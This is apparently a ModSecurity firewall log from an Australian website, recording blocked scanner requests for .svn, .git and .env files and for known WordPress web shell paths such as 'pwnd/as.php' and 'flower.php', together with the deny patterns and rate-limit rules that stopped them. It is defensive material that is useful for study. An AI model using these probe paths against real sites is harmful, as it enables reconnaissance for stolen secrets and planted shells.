[Sun Nov 30 19:13:58.768566 2025] [:error] [pid 10550:tid 10597] [client 213.21.239.4:44454] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wiki/.svn/wc.db"] [unique_id "aSwm9ul_8Vq2nipf7mFRcAAAApI"]
[Sun Nov 30 19:13:58.772704 2025] [:error] [pid 10550:tid 10588] [client 213.21.239.4:44482] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/.svn/wc.db"] [unique_id "aSwm9ul_8Vq2nipf7mFRcwAAAok"]
[Sun Nov 30 19:13:58.773676 2025] [:error] [pid 9375:tid 9425] [client 213.21.239.4:44688] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/site/.svn/wc.db"] [unique_id "aSwm9t-EkWIUe87KIjMQaAAAA1U"]
[Sun Nov 30 19:13:58.774108 2025] [:error] [pid 9374:tid 9393] [client 213.21.239.4:44606] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.svn/wc.db"] [unique_id "aSwm9oEwr5jt_cokVdxpCgAAAxA"]
[Sun Nov 30 19:13:58.778250 2025] [:error] [pid 12554:tid 12564] [client 213.21.239.4:44672] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/static/.svn/wc.db"] [unique_id "aSwm9j7q_kXd01TaAD90awAAAAg"]
[Sun Nov 30 19:13:58.779955 2025] [:error] [pid 9374:tid 9379] [client 213.21.239.4:44656] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/static../.svn/wc.db"] [unique_id "aSwm9oEwr5jt_cokVdxpDAAAAwI"]
[Sun Nov 30 19:13:58.784047 2025] [:error] [pid 9375:tid 9417] [client 213.21.239.4:44668] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/staging/.svn/wc.db"] [unique_id "aSwm9t-EkWIUe87KIjMQagAAA00"]
[Sun Nov 30 19:13:58.785365 2025] [:error] [pid 9374:tid 9392] [client 213.21.239.4:44718] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/.svn/wc.db"] [unique_id "aSwm9oEwr5jt_cokVdxpDgAAAw8"]
[Sun Nov 30 21:19:20.718219 2025] [:error] [pid 12554:tid 12572] [client 106.227.49.113:37287] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSxEWD7q_kXd01TaAD-JfgAAABA"]
[Sun Nov 30 21:47:36.687849 2025] [:error] [pid 9374:tid 9397] [client 87.121.79.247:45614] [client 87.121.79.247] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aSxK-IEwr5jt_cokVdyDCgAAAxQ"]
[Sun Nov 30 21:47:37.738192 2025] [:error] [pid 9374:tid 9398] [client 87.121.79.247:39664] [client 87.121.79.247] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aSxK-YEwr5jt_cokVdyDDQAAAxU"]
[Sun Nov 30 23:49:33.856981 2025] [:error] [pid 9694:tid 9705] [client 87.121.79.247:45338] [client 87.121.79.247] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aSxnjcNOaRChkzIC_nXmtgAAAMk"]
[Sun Nov 30 23:49:34.922620 2025] [:error] [pid 9374:tid 9381] [client 87.121.79.247:48352] [client 87.121.79.247] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aSxnjoEwr5jt_cokVdyTWAAAAwQ"]
[Sun Nov 30 23:53:51.799822 2025] [:error] [pid 10518:tid 10531] [client 87.121.79.247:38714] [client 87.121.79.247] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aSxojw8XjrhaEDJ0Rd_stQAAAUo"]
[Sun Nov 30 23:53:52.844607 2025] [:error] [pid 9374:tid 9401] [client 87.121.79.247:41322] [client 87.121.79.247] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aSxokIEwr5jt_cokVdyUDQAAAxg"]
[Mon Dec 01 00:12:11.475125 2025] [rewrite:error] [pid 9694:tid 9700] [client 107.172.195.0:2740] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Mon Dec 01 01:06:42.233618 2025] [:error] [pid 25124:tid 25165] [client 34.42.138.83:55642] [client 34.42.138.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aSx5oll826mNLYSD9-25HQAAAEw"]
[Mon Dec 01 02:28:44.324504 2025] [:error] [pid 32521:tid 32557] [client 20.37.126.21:44038] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSyM3D-OXioBrWvHoPrZrwAAAwU"]
[Mon Dec 01 02:28:45.291924 2025] [:error] [pid 25124:tid 25172] [client 20.37.126.21:44049] [client 20.37.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aSyM3Vl826mNLYSD9-3P0wAAAFM"]
[Mon Dec 01 02:28:46.257106 2025] [:error] [pid 32611:tid 32626] [client 20.37.126.21:44102] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aSyM3q_aT7PlMcEPLmkomgAAAA0"]
[Mon Dec 01 02:28:47.227820 2025] [:error] [pid 41526:tid 41553] [client 20.37.126.21:44101] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aSyM310bjN1zt83-HJ0jiQAAAVY"]
[Mon Dec 01 02:28:48.617291 2025] [:error] [pid 32521:tid 32557] [client 20.37.126.21:44154] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aSyM4D-OXioBrWvHoPrZtQAAAwU"]
[Mon Dec 01 02:28:49.365437 2025] [:error] [pid 41526:tid 41549] [client 20.37.126.21:44056] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aSyM4V0bjN1zt83-HJ0jjgAAAVI"]
[Mon Dec 01 02:28:50.415902 2025] [:error] [pid 32521:tid 32575] [client 20.37.126.21:44120] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aSyM4j-OXioBrWvHoPrZtwAAAxc"]
[Mon Dec 01 02:28:51.683410 2025] [:error] [pid 32520:tid 32536] [client 20.37.126.21:44137] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aSyM4_vbCMB_T-u6uxlXhAAAA4s"]
[Mon Dec 01 02:28:53.178599 2025] [:error] [pid 32521:tid 32554] [client 20.37.126.21:44117] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aSyM5T-OXioBrWvHoPrZvgAAAwI"]
[Mon Dec 01 02:28:54.174032 2025] [:error] [pid 32520:tid 32525] [client 20.37.126.21:44146] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aSyM5vvbCMB_T-u6uxlXiAAAA4A"]
[Mon Dec 01 02:28:55.342319 2025] [:error] [pid 22963:tid 22982] [client 20.37.126.21:44044] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aSyM5ygjrTC0kxo5Q-z7lgAAAJE"]
[Mon Dec 01 02:28:56.108312 2025] [:error] [pid 22995:tid 23022] [client 20.37.126.21:44048] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aSyM6KhgK6YGad0ApM9eNgAAARg"]
[Mon Dec 01 02:28:56.934068 2025] [:error] [pid 25124:tid 25171] [client 20.37.126.21:44104] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aSyM6Fl826mNLYSD9-3P2wAAAFI"]
[Mon Dec 01 02:28:57.921499 2025] [:error] [pid 22963:tid 22966] [client 20.37.126.21:19426] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/atomlib.php"] [unique_id "aSyM6SgjrTC0kxo5Q-z7mQAAAIE"]
[Mon Dec 01 02:28:59.371602 2025] [:error] [pid 32611:tid 32626] [client 20.37.126.21:44150] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aSyM66_aT7PlMcEPLmkosAAAAA0"]
[Mon Dec 01 02:28:59.758996 2025] [:error] [pid 32611:tid 32615] [client 20.37.126.21:44112] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aSyM66_aT7PlMcEPLmkosQAAAAI"]
[Mon Dec 01 02:29:00.880259 2025] [:error] [pid 32521:tid 32555] [client 20.37.126.21:44040] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aSyM7D-OXioBrWvHoPrZywAAAwM"]
[Mon Dec 01 02:29:02.312171 2025] [:error] [pid 32521:tid 32559] [client 20.37.126.21:44099] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aSyM7j-OXioBrWvHoPrZzQAAAwc"]
[Mon Dec 01 02:29:03.073907 2025] [:error] [pid 25124:tid 25168] [client 20.37.126.21:44140] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/uploads/"] [unique_id "aSyM71l826mNLYSD9-3P5wAAAE8"]
[Mon Dec 01 02:29:03.667758 2025] [:error] [pid 22963:tid 22980] [client 20.37.126.21:44131] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/uploads/"] [unique_id "aSyM7ygjrTC0kxo5Q-z7ogAAAI8"]
[Mon Dec 01 02:29:04.181356 2025] [:error] [pid 32521:tid 32571] [client 20.37.126.21:19408] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/uploads/"] [unique_id "aSyM8D-OXioBrWvHoPrZ0wAAAxM"]
[Mon Dec 01 02:29:04.661488 2025] [:error] [pid 32611:tid 32614] [client 20.37.126.21:44122] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/uploads/"] [unique_id "aSyM8K_aT7PlMcEPLmkotAAAAAE"]
[Mon Dec 01 02:29:05.742493 2025] [:error] [pid 32521:tid 32570] [client 20.37.126.21:44116] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aSyM8T-OXioBrWvHoPrZ2AAAAxI"]
[Mon Dec 01 02:29:07.135056 2025] [:error] [pid 22995:tid 23008] [client 20.37.126.21:44063] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aSyM86hgK6YGad0ApM9ePQAAAQo"]
[Mon Dec 01 02:29:08.705140 2025] [:error] [pid 32522:tid 32595] [client 20.37.126.21:44135] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aSyM9CY5g6U7AgYu2cLBPAAAANA"]
[Mon Dec 01 02:29:10.134603 2025] [:error] [pid 22995:tid 23021] [client 20.37.126.21:44149] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flower.php"] [unique_id "aSyM9qhgK6YGad0ApM9eQQAAARc"]
[Mon Dec 01 02:29:11.120596 2025] [:error] [pid 32521:tid 32567] [client 20.37.126.21:44156] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-error.php"] [unique_id "aSyM9z-OXioBrWvHoPrZ3gAAAw8"]
[Mon Dec 01 02:29:12.397829 2025] [:error] [pid 22995:tid 23018] [client 20.37.126.21:44096] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-error.php"] [unique_id "aSyM-KhgK6YGad0ApM9eRAAAARQ"]
[Mon Dec 01 02:29:14.276065 2025] [:error] [pid 32521:tid 32558] [client 20.37.126.21:44158] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-error.php"] [unique_id "aSyM-j-OXioBrWvHoPrZ5QAAAwY"]
[Mon Dec 01 02:29:15.427851 2025] [:error] [pid 32521:tid 32559] [client 20.37.126.21:44125] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-error.php"] [unique_id "aSyM-z-OXioBrWvHoPrZ5wAAAwc"]
[Mon Dec 01 02:29:16.046113 2025] [:error] [pid 25124:tid 25174] [client 20.37.126.21:44050] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/"] [unique_id "aSyM_Fl826mNLYSD9-3P8QAAAFU"]
[Mon Dec 01 02:29:16.367634 2025] [:error] [pid 25124:tid 25167] [client 20.37.126.21:44151] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/"] [unique_id "aSyM_Fl826mNLYSD9-3P8gAAAE4"]
[Mon Dec 01 02:29:16.669827 2025] [:error] [pid 32611:tid 32620] [client 20.37.126.21:44148] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/"] [unique_id "aSyM_K_aT7PlMcEPLmkovgAAAAc"]
[Mon Dec 01 02:29:17.489753 2025] [:error] [pid 32521:tid 32552] [client 20.37.126.21:44107] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/"] [unique_id "aSyM_T-OXioBrWvHoPrZ6gAAAwA"]
[Mon Dec 01 02:29:18.318952 2025] [:error] [pid 22963:tid 22967] [client 20.37.126.21:44032] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aSyM_igjrTC0kxo5Q-z7tQAAAII"]
[Mon Dec 01 02:29:18.748317 2025] [:error] [pid 41526:tid 41545] [client 20.37.126.21:44037] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aSyM_l0bjN1zt83-HJ0jmwAAAU4"]
[Mon Dec 01 02:29:19.165235 2025] [:error] [pid 41526:tid 41540] [client 20.37.126.21:44109] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aSyM_10bjN1zt83-HJ0jnQAAAUk"]
[Mon Dec 01 02:29:19.874486 2025] [:error] [pid 22963:tid 22968] [client 20.37.126.21:44119] [client 20.37.126.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aSyM_ygjrTC0kxo5Q-z7ugAAAIM"]
